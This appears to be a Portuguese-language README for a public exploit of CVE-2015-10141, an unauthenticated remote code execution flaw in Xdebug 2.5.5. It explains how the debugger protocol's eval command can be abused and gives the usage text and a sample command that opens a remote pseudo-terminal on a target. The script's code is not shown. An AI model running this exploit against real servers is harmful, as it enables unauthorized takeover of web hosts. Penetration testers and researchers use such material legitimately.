CVE-2015-10141

# Exploit Title: xdebug Unauthenticated Command Execution
# Exploit Author: D3Ext
# Vendor Homepage: https://xdebug.org/
# Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows
# Version: 2.5.5
# Tested on: Kali Linux 2025
# CVE: CVE-2015-10141

Explicação

Existe uma vulnerabilidade de injeção de comandos do sistema operacional não autenticada nas versões 2.5.5 e anteriores do Xdebug, uma extensão de depuração PHP. Quando a depuração remota está ativada, o Xdebug escuta na porta 9000 e aceita comandos do protocolo do depurador sem autenticação. Um atacante pode enviar um comando eval manipulado através desta interface para executar código PHP arbitrário, que pode invocar funções de nível de sistema, como system() ou passthru(). Isto resulta no comprometimento total do anfitrião sob os privilégios do utilizador do servidor web.

Uso

usage: CVE-2015-10141.py [-h] -u URL -l LHOST

CVE-2015-10141 - xdebug v2.5.5 RCE Exploit

options:
  -h, --help         show this help message and exit
  -u, --url URL      URL of the target
  -l, --lhost LHOST  LHOST to trigger the RCE

Basta executar o exploit e fornecer um URL válido com um ficheiro PHP como index.php e o anfitrião local. Depois o exploit tentará estabelecer um pseudo-terminal que lhe permite executar comandos remotamente

python3 exploit.py -u http://10.10.10.83/index.php -l 10.10.16.3